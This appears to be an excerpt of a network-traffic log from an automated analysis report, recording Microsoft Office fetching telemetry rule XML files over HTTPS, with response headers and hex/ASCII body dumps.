2025-03-13 09:08:18 UTC	199	OUT	GET /rules/rule704000v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:19 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:19 GMT Content-Type: text/xml Content-Length: 1382 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD58756F" x-ms-request-id: f3176d25-601e-0097-11f7-93f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090818Z-16c755948998bddbhC1MEMx9s000000008y0000000000u33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:19 UTC	1382	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 30 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 69 61 67 6e 6f 73 74 69 63 73 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704000" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DiagnosticsSystem" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDiagnosticsSystem" S="Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.12	49755	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:18 UTC	199	OUT	GET /rules/rule702401v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:19 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7663425" x-ms-request-id: e1fe97d2-901e-002a-1bf7-937a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090819Z-16c755948992kfjqhC1MEM16f800000007b0000000001evu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 70 6c 69 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702401" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Compliance.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.12	49754	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:18 UTC	199	OUT	GET /rules/rule703250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:19 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE4B05315" x-ms-request-id: 7353ab8a-601e-003e-01f7-933248000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090819Z-16c75594899zcltzhC1MEM48qn000000065g00000000005e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 72 65 55 49 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 72 65 55 49 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.CoreUI" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCoreUI" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.12	49753	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:18 UTC	199	OUT	GET /rules/rule703251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:19 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE2D942BE" x-ms-request-id: 5f714c68-801e-002a-1f7a-9331dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090819Z-16c755948995d9sghC1MEMz5yw00000007r000000000284c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-13 09:08:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 72 65 55 49 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.CoreUI.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCor

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.12	49757	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:21 UTC	199	OUT	GET /rules/rule701551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:22 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE998C79E" x-ms-request-id: b29b917c-601e-006f-0cf7-93e43f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090821Z-16c75594899vsgwthC1MEM6x100000000b1g000000001ncx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:22 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6c 69 63 6b 54 6f 52 75 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ClickToRun.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.12	49756	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:21 UTC	199	OUT	GET /rules/rule702400v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:22 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAC69440" x-ms-request-id: 3d45765a-e01e-0051-05ad-9184b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090821Z-16c75594899xnsgjhC1MEMq9200000000aa0000000001sek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 70 6c 69 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 6d 70 6c 69 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702400" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Compliance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCompliance" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.12	49758	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:21 UTC	199	OUT	GET /rules/rule701550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:22 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED220670" x-ms-request-id: ca2e73a2-701e-001e-71ba-91f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090821Z-16c75594899nccx6hC1MEMpvnw0000000ar0000000002au6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6c 69 63 6b 54 6f 52 75 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6c 69 63 6b 54 6f 52 75 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ClickToRun" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenClickToRun" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.12	49759	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:21 UTC	199	OUT	GET /rules/rule700301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:22 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:21 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB757F64" x-ms-request-id: 43065579-401e-0029-1af7-939b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090821Z-16c75594899w8g75hC1MEMvwxw0000000ccg0000000007e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:22 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 68 61 72 74 69 6e 67 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Charting.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenC

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.12	49760	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:21 UTC	199	OUT	GET /rules/rule700300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:22 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:22 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB30DF54" x-ms-request-id: d5d85b43-501e-0047-5af7-93ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090821Z-16c75594899n4lsthC1MEMhqr40000000730000000001d3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 68 61 72 74 69 6e 67 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 68 61 72 74 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Charting" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCharting" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.12	49761	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:24 UTC	199	OUT	GET /rules/rule702001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:24 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB7EA38B" x-ms-request-id: bf85512d-b01e-00ab-5df7-93dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090824Z-16c75594899xnsgjhC1MEMq9200000000ab0000000001qu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 61 6e 76 61 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Canvas.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCan

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.12	49762	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:24 UTC	199	OUT	GET /rules/rule702000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:24 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE46A7D87" x-ms-request-id: 0d005cfa-001e-0017-32f7-930c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090824Z-16c75594899cfjm7hC1MEMrahs000000089g00000000094s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:24 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 61 6e 76 61 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 61 6e 76 61 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Canvas" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCanvas" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.12	49763	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:24 UTC	199	OUT	GET /rules/rule702601v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:24 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:24 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE4B338DC" x-ms-request-id: 32451314-e01e-000c-30c9-918e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090824Z-16c755948992kfjqhC1MEM16f800000007bg000000000xs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
